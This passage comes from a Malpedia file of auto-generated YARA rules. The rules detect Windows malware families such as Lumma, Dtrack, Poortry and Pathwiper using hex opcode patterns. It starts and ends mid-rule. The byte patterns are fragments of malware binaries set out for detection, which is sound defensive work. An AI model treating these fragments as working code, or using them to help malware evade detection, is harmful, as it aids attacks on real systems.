		logic_hash = "a12d9d501b7d3baa59a060b6fa56cd1bfb57e15b553bc88c44e1282cce7ff1d8"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 448bfe 448be6 89742450 4889b42420010000 0f57c0 f30f7f842430010000 4533c0 }
		$sequence_1 = { 66894dea 488d4de0 0fb700 668945ec 33c0 }
		$sequence_2 = { 4889458c 33c0 894594 66894598 48b85700650064000000 4889459a 33c0 }
		$sequence_3 = { 83ef01 7986 4885db 743d 488b45af 482bc3 48c1f802 }
		$sequence_4 = { 83e00a eb09 33c0 eb05 b80a000000 488b5c2430 }
		$sequence_5 = { e8???????? 90 488d4c2420 e8???????? 4889742420 4889742430 4889742438 }
		$sequence_6 = { 49ffc6 4183c708 443b3a 72d7 8b02 }
		$sequence_7 = { 410fb702 6643390413 7515 4983c202 4883ef01 75eb 4c8bc1 }
		$sequence_8 = { e8???????? 458d41ff 41bfffff0000 8d7a02 4963c8 664139b44a18100000 7511 }
		$sequence_9 = { 49ffc1 413801 7513 4883c108 49ffc1 8a01 413801 }
	condition:
		7 of them and filesize < 881664
}

rule MALPEDIA_Win_Lethic_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "3babd57d-d49b-5fd8-b851-cfcf000e34be"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lethic"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lethic_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "b68d77c1a72e1fca1c5c9d72302fcacf09ed698f69d0c7903522cd1a657700c5"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b550c 8955f8 8b45f8 034510 8945f4 }
		$sequence_1 = { c7823410000001000000 6a10 8b450c 50 8b4dfc 83c108 51 }
		$sequence_2 = { 8945fc 8b4dfc 894df0 8b550c }
		$sequence_3 = { ffd1 33c0 eb42 6a10 }
		$sequence_4 = { 8b08 890a 8b55fc 8b02 8945fc 8b4df4 51 }
		$sequence_5 = { 8b55fc 83c208 52 8b45fc 8b4818 51 }
		$sequence_6 = { 33c0 e9???????? 8b45fc 8b4d10 894804 8b55fc c7823410000001000000 }
		$sequence_7 = { 890a 8b55fc 8b02 8945fc 8b4df4 51 8b55f8 }
		$sequence_8 = { 894df8 8b55fc 3b55f8 7411 8b45fc c60000 }
		$sequence_9 = { 8b55fc c7823410000001000000 6a10 8b450c 50 8b4dfc 83c108 }
	condition:
		7 of them and filesize < 81920
}

rule MALPEDIA_Win_Lumma_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "18aafe26-24fd-5a9a-bbc9-ae4c88d965fc"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lumma_auto.yar#L1-L194"
		license_url = "N/A"
		logic_hash = "5ba9e6acd0a483b46312a1312db0d7f170a01587be01ff146763c3e3b48ae6c9"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 53 ff767c ff7678 ff7644 }
		$sequence_1 = { ffd0 83c40c 894648 85c0 }
		$sequence_2 = { 894604 8b461c c1e002 50 }
		$sequence_3 = { ff7678 ff7644 ff563c 83c414 }
		$sequence_4 = { 833800 740a e8???????? 833822 }
		$sequence_5 = { 66894316 0fb7560e 0fb74e0c e8???????? }
		$sequence_6 = { 66894338 8b4626 89433c 8b462a }
		$sequence_7 = { 8b4610 894320 8b4614 894328 }
		$sequence_8 = { e8???????? 83c40c 6a02 6804010000 e8???????? }
		$sequence_9 = { 017e78 83567c00 017e68 83566c00 }
		$sequence_10 = { 83f900 75f1 83ec04 8b4508 e8???????? 89ec 5d }
		$sequence_11 = { 31c0 837e3808 0f94c0 294628 }
		$sequence_12 = { 0f94c3 89d5 09cd 0f95c7 }
		$sequence_13 = { 0f95c7 30df 7514 837e6c00 }
		$sequence_14 = { 8b5204 45 8b4208 45 8b4a0c 49 83fe04 }
		$sequence_15 = { 01e8 56 ff742424 50 }
		$sequence_16 = { 50 57 ff7618 e8???????? 83c40c 894618 }
		$sequence_17 = { 01c9 39dd ba00000000 19c2 72f1 }
		$sequence_18 = { 234608 7418 8b8684000000 29f8 }
		$sequence_19 = { 31ed 89ae88000000 c7868c00000000000000 899e80000000 833e00 }
		$sequence_20 = { 8b550c 6bd204 89d1 83e904 8b5510 8b1c0a }
	condition:
		7 of them and filesize < 1115136
}

rule MALPEDIA_Win_Tuoni_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d6fe1657-0ba1-5787-bb02-c66c2de38004"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tuoni"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tuoni_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "1e49c2155d5f2354628f8bc71b59233071caabc76e3825284e0656eaaabf9b91"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 84c0 7427 3c07 7423 8b4108 c6401c01 c7401816000000 }
		$sequence_1 = { 894604 e8???????? 894604 8bc6 59 e8???????? c20400 }
		$sequence_2 = { e8???????? b8???????? e9???????? 8d4dd8 e9???????? 8b45d0 83e001 }
		$sequence_3 = { e8???????? 8d8daffbffff c645fc0a 51 8b08 e8???????? 8b8db4fbffff }
		$sequence_4 = { 7429 6a08 59 33c0 83ec18 8bfe f3ab }
		$sequence_5 = { 894c2414 8d0c28 89442420 8974241c 894c2418 55 7630 }
		$sequence_6 = { e8???????? 83c40c 6b45e430 8945dc 8d80602a4500 8945e4 803800 }
		$sequence_7 = { 85c0 7422 ff75e0 e8???????? ff75e4 e8???????? 53 }
		$sequence_8 = { 0f848a030000 51 51 8bcc 8d45d8 50 8919 }
		$sequence_9 = { e8???????? 83c40c 8d85a8fbffff 6a08 50 ff15???????? 85c0 }
	condition:
		7 of them and filesize < 734208
}

rule MALPEDIA_Win_Phandoor_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "155e4267-136b-55b4-90bd-1c218e8670a7"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.phandoor"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.phandoor_auto.yar#L1-L170"
		license_url = "N/A"
		logic_hash = "527334a4bd04f39c9bfefa050c6438c0d4a556c8a31f02edf88789f46c6d4efd"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b36 e8???????? 83c404 eb25 e8???????? }
		$sequence_1 = { ffd6 833d????????00 a3???????? 0f8482000000 833d????????00 7479 833d????????00 }
		$sequence_2 = { 83c418 803f53 755f 807f015e }
		$sequence_3 = { 8bd8 c1eb08 8bd1 895df8 8bd9 c1ea08 }
		$sequence_4 = { 22da 22d9 8bc8 c1e910 224df8 }
		$sequence_5 = { 890d???????? 8b96bc010000 8915???????? 33ff 399e90010000 763b }
		$sequence_6 = { e8???????? 8b1d???????? 50 ffd3 8bf8 3bfe 8b35???????? }
		$sequence_7 = { 0f8438010000 833d????????00 0f842b010000 833d????????00 0f841e010000 833d????????00 0f8411010000 }
		$sequence_8 = { 741c 8b0d???????? 68???????? 51 c705????????04000000 }
		$sequence_9 = { 83c404 8bf7 85ff 75e6 5f c7430800000000 }
		$sequence_10 = { 43 84c0 7409 8803 }
		$sequence_11 = { 6a03 d1ea 8d85e8efffff e8???????? }
		$sequence_12 = { 741c 56 8b35???????? 3acb 740e }
		$sequence_13 = { 3acb 740e 50 ffd6 }
		$sequence_14 = { 6a03 d1ea 8bc3 e8???????? 8bc8 85c9 }
		$sequence_15 = { 57 68???????? 50 c705????????03000000 ffd6 8b0d???????? 33ff }
	condition:
		7 of them and filesize < 2124800
}

rule MALPEDIA_Win_Wininetloader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "362a277f-08db-55d6-afc8-115b8717311e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wininetloader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.wininetloader_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "8b4c276c165b1cb748209b41360afa408d3bb0ddb28615bc03dcc23e6420b5ed"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 66490f7ed9 4c8d050cb70500 ba28000000 488d4ddf e8???????? 4863d8 498b4540 }
		$sequence_1 = { c3 488b0d???????? ba51230000 ff15???????? 488b0d???????? ba53230000 4889442430 }
		$sequence_2 = { 5b c3 803d????????00 0f8459ffffff 498bd1 488bcb 4883c430 }
		$sequence_3 = { 458d4118 488bce ff15???????? 8b442430 4038bc24e0000000 0f45442434 4c63c0 }
		$sequence_4 = { 48891d???????? 48c705????????0f000000 881d???????? 448d431b 488d15d9be0f00 488d0d522e1200 e8???????? }
		$sequence_5 = { eb02 b301 4883fa10 722d 48ffc2 488bc1 4881fa00100000 }
		$sequence_6 = { c6430600 eb21 48c744242006000000 4c8d0dc3d10b00 4533c0 418d5006 488d4c2430 }
		$sequence_7 = { 803a5c 752a 4c8d4201 4c3bc0 7421 f6c108 750a }
		$sequence_8 = { e9???????? 488d8aa8000000 4883c108 e9???????? 488d8aa8000000 e9???????? 4055 }
		$sequence_9 = { 5e 5d c3 ba5e230000 488b4e18 ff15???????? 488bc8 }
	condition:
		7 of them and filesize < 2659328
}

rule MALPEDIA_Win_Billgates_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "936ce7c3-e0bc-5e8a-a94c-d204107ad6c9"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.billgates"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.billgates_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "0d1344c595e66a8a3fe952afc687de569fadd20ac0c050f652fba5100e4b414d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7408 3c22 7404 3c30 7504 }
		$sequence_1 = { 3c21 7408 3c23 7404 3c24 }
		$sequence_2 = { 7404 3c58 7507 b802000000 eb02 }
		$sequence_3 = { 740c 3c11 7408 3c22 7404 3c30 7504 }
		$sequence_4 = { 3c11 7408 3c22 7404 3c30 7504 }
		$sequence_5 = { 3c21 7408 3c23 7404 }
		$sequence_6 = { ff15???????? 83f8ff 7508 ff15???????? f7d8 85c0 }
		$sequence_7 = { 3c10 740c 3c11 7408 3c22 7404 3c30 }
		$sequence_8 = { 740c 3c11 7408 3c22 7404 }
		$sequence_9 = { 3c10 740c 3c11 7408 }
	condition:
		7 of them and filesize < 801792
}

rule MALPEDIA_Win_Xbtl_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5435db05-6232-5daa-a834-a076fea3e65f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xbtl"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.xbtl_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "9ca9bf365c91027033dee3986f32faacddaba9038a823c9929d03b22f8c79417"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8945f8 03c0 03c0 50 52 8945fc e8???????? }
		$sequence_1 = { 8a08 40 84c9 75f9 2bc6 8dbc05f4fdffff 89bde0fcffff }
		$sequence_2 = { ff15???????? 8b07 8b4820 51 68???????? 8d542428 6a40 }
		$sequence_3 = { 8b55e0 8b470c 8b4490f8 8945e0 85c0 742f 0fbf4304 }
		$sequence_4 = { 81e200ff0000 33ca 8bd7 c1ea18 }
		$sequence_5 = { 40 8945fc 3b4608 0f8c78ffffff eb09 8b55fc 8b7508 }
		$sequence_6 = { 897004 8b5108 8bf2 c1ce08 81e600ff00ff }
		$sequence_7 = { 8b8d8cfdffff 8b9598fdffff 50 8b8588fdffff 50 8b8590fdffff 57 }
		$sequence_8 = { 8b07 68a00f0000 8d4c2448 51 89742448 }
		$sequence_9 = { 8b530c 0fbfc8 837c8afc00 74e5 8b4308 3daa55ff7f }
	condition:
		7 of them and filesize < 401408
}

rule MALPEDIA_Win_Neconyd_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0a26010e-37e7-5246-804a-229e327c846f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.neconyd"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.neconyd_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "a947c838b71e86e1d4014575969fcaf0468066058b0d2c62ee2db801fb092cd0"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 74c7 ff75fc 8d85f0efffff 50 8d0437 50 }
		$sequence_1 = { c6466701 c6466804 89460c 894e60 397d18 0f85b0000000 8b15???????? }
		$sequence_2 = { c6466500 c6466b00 c6466c00 8b442418 898680000000 33c0 }
		$sequence_3 = { c3 56 66c7003000 57 40 40 }
		$sequence_4 = { 8365fc00 8d45fc 50 6a27 6a5e 8d45d4 }
		$sequence_5 = { 57 bb???????? 50 8bd3 e8???????? b9???????? }
		$sequence_6 = { 66c745ae5814 66c745b0d104 66c745b2c19d 66c745b42070 66c745b66afc 66c745b88fed }
		$sequence_7 = { eb06 81c1ffff0000 880e 46 ff45fc }
		$sequence_8 = { 29450c 83c40c 03f0 8d45fc 50 6800100000 8d85f0efffff }
		$sequence_9 = { 394d18 0f8d35010000 8b0d???????? 3bcf 750c 66c745d83000 }
	condition:
		7 of them and filesize < 326182
}

rule MALPEDIA_Win_Gspy_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "cfcf9b9b-4569-5d0f-801d-7a4c03469882"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gspy"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gspy_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "5f09532c5cfce71a555d1d7b8c6eb07037f464516d07c67472b924dd34736987"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 51 8d54241b 52 e8???????? 8944242c 8a442413 8b5c242c }
		$sequence_1 = { 83c01c 50 55 56 ff15???????? 85c0 740a }
		$sequence_2 = { 8a442412 3cff 7567 8b4d04 66c744241c3f2a c744241ec0744200 33c0 }
		$sequence_3 = { c20400 8b0d???????? 56 33c0 57 8b3d???????? 3bcd }
		$sequence_4 = { 85c0 757a 8b442414 8b08 8d542420 52 50 }
		$sequence_5 = { 51 ff15???????? 85ff 7409 8d442418 e8???????? 83c304 }
		$sequence_6 = { 8bf0 89742410 85f6 7449 33c0 897c2414 }
		$sequence_7 = { 57 8bf8 32c0 88442407 85ff 0f8456010000 53 }
		$sequence_8 = { 8b4124 ffd0 85c0 0f8464ffffff 8b442410 8b08 8b5108 }
		$sequence_9 = { 7408 3c09 7c0e 3c0d 7f0a 83fa02 }
	condition:
		7 of them and filesize < 421888
}

rule MALPEDIA_Win_Poortry_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1496d84e-656c-5933-9472-ddcca15979df"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.poortry"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.poortry_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "e3df0ea052d8930e4d05b0682bf4eefe707f0b5452f36cf3547bbe2d0167b185"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 80c2d6 f6da 41d2db 80f283 4d63d8 4181e3cc593b0e 41c0c35a }
		$sequence_1 = { 9c 418f00 450fbbf2 458b11 664585f0 66f7c16046 4181fd7b733a3c }
		$sequence_2 = { 41d3d3 312c24 66450fabe3 410fbafb10 415b 3ac5 f9 }
		$sequence_3 = { 0fbfdb 66440fb3fa 418ad6 410fb618 48d3ea 66d3c2 d2fe }
		$sequence_4 = { 480fbfed f8 44311c24 400f9ec5 5d f8 4d63db }
		$sequence_5 = { 4d0fb7e7 448ae7 415c 66450fbeea 66410fcd 490fbfed 415d }
		$sequence_6 = { 0fca 41f6c185 56 311424 f8 5e 4863d2 }
		$sequence_7 = { 66f7de 5e 4584c3 f9 4c3bc0 4d63d2 4d85eb }
		$sequence_8 = { 488b11 40f6c6b8 498912 4863d7 411ad2 4881ef04000000 66c1daa9 }
		$sequence_9 = { f5 55 4080e5d9 4881cda16c1a19 40d2d5 311424 66440fbbfd }
	condition:
		7 of them and filesize < 8078336
}

rule MALPEDIA_Win_Observer_Stealer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c0737640-3fea-5607-8cf7-00374c1f837c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.observer_stealer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.observer_stealer_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "0be9a733455d3fbd7030daf285d74174d225df89f30a4020aa754c9c1ec43bc3"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 59 57 8bc8 e8???????? 6a14 89442418 e8???????? }
		$sequence_1 = { 8bcb e8???????? e9???????? 85ff 74cc 68???????? 8d4c2418 }
		$sequence_2 = { c3 33c0 8bd1 53 56 57 8bfa }
		$sequence_3 = { 59 59 c20400 56 8bf1 8b46e0 8b4004 }
		$sequence_4 = { c3 83ec10 53 8bc1 55 }
		$sequence_5 = { 55 e8???????? 3bc7 0f87ab000000 6bc024 50 89442414 }
		$sequence_6 = { 8b751c 56 68???????? 57 e8???????? 8b4510 }
		$sequence_7 = { 894d0c 894508 3d00100000 7215 8d4508 50 8d450c }
		$sequence_8 = { 8d4dc0 68???????? e8???????? 837d3408 8d4d20 8d4508 0f434d20 }
		$sequence_9 = { 89773c c7474001000000 c74750fb5d7708 e8???????? 8bc7 5f 5e }
	condition:
		7 of them and filesize < 614400
}

rule MALPEDIA_Win_Dtrack_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a8e0795f-f37a-570e-a2d0-586d485922bb"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dtrack"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dtrack_auto.yar#L1-L159"
		license_url = "N/A"
		logic_hash = "6b14b7e6495b7f7e349f91bcaae4aa222786469ac0195332831e5ef10b7a534f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 52 8b4508 50 e8???????? 83c414 8b4d10 51 }
		$sequence_1 = { 50 8d8dccfdffff 51 6a00 8d95b0faffff 52 }
		$sequence_2 = { 8b4df8 c1e902 334df8 8b55f8 c1ea03 33ca }
		$sequence_3 = { 33ca 8b55f8 c1ea07 33ca c1e118 }
		$sequence_4 = { 50 e8???????? 83c40c c685b8fbffff00 }
		$sequence_5 = { 8b88fc180000 8b5508 8b4508 8b8008100000 89848a04100000 8b4d0c }
		$sequence_6 = { 8d959efaffff 52 e8???????? 83c410 8d85d4faffff 898528f6ffff }
		$sequence_7 = { e8???????? 83c410 c68587f6ffff00 8b15???????? 52 }
		$sequence_8 = { eb64 8b4d10 51 6a00 }
		$sequence_9 = { 8b08 894dfc 8b550c 8b4204 8945f8 68efcdab89 }
		$sequence_10 = { c1e217 0bca 894d14 8b45f8 }
		$sequence_11 = { 6a00 8b55f4 52 e8???????? 83c40c 8b450c 8b08 }
		$sequence_12 = { 0bc1 894518 8b5514 8955f8 }
		$sequence_13 = { 8b4df8 c1e908 234df8 8b45f8 c1e810 23c8 }
		$sequence_14 = { 8b4df0 3b4d10 0f8d90000000 8b5508 }
	condition:
		7 of them and filesize < 1736704
}

rule MALPEDIA_Win_Chches_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ef78cd53-b90a-5608-a384-2a896eb61dd5"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chches"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.chches_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "b0a1cb7e042feb67b6afb2859125bb6309d891a3da8da2205204e42953893b2e"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 8b4c243c 8903 8b4534 83c408 85c0 }
		$sequence_1 = { ffd2 3dfe1f0000 7608 83eb64 e9???????? 8b7c2454 }
		$sequence_2 = { 03c1 50 57 e8???????? 8b96d8000000 83c408 6860ea0000 }
		$sequence_3 = { c7460800000000 8b4744 56 6a00 ffd0 8b4f50 50 }
		$sequence_4 = { 897c2424 897c2430 3bc7 0f856c020000 8b5d0c 3bdf 0f8404030000 }
		$sequence_5 = { 0f84aa010000 8b4660 8bd1 52 ffd0 8b5644 8bd8 }
		$sequence_6 = { 8d791c 81c61d051101 85ff 746e 85db 744d 8b550c }
		$sequence_7 = { 50 8b4364 ffd0 8b4df8 8b938c000000 6a00 6a00 }
		$sequence_8 = { 33d2 6689140f 8b7c2410 eb1e 85c0 751a 8b03 }
		$sequence_9 = { ffd2 50 8b4650 ffd0 8b4dfc 51 8d7df8 }
	condition:
		7 of them and filesize < 122880
}

rule MALPEDIA_Win_Pathwiper_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a6716c11-1f14-5a04-8fe4-1682b0bebda9"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pathwiper"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pathwiper_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "2875d616150343a511e4ca1c06e26bab19bffb8a61f2efbef223956f6da2a004"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c78540ffffff00000000 c78544ffffff0f000000 c68530ffffff00 8d8d88ebffff e8???????? 8bf8 6a00 }
		$sequence_1 = { 84c0 0f84a8000000 807d3400 0f849e000000 8b950cfeffff 8b8d04feffff 8d4201 }
		$sequence_2 = { 8845eb 8bc1 f7e6 6a00 68ffffff7f 52 50 }
		$sequence_3 = { 8bf8 eb02 33ff 8b8518feffff 40 897dc0 50 }
		$sequence_4 = { c645fc8a 50 8d8df3efffff e8???????? 8d85acf8ffff c645fc8b 50 }
		$sequence_5 = { 3bf8 0f84f2010000 83c704 0f1f00 6a00 8d850cffffff 8bcf }
		$sequence_6 = { e8???????? 83c408 83c718 3bbd48feffff 0f85c2feffff 8d8554feffff 898528feffff }
		$sequence_7 = { 660fd68504f0ffff c785f4efffff3734d6f2 0f1f440000 8a443dd0 32c1 88843df8efffff }
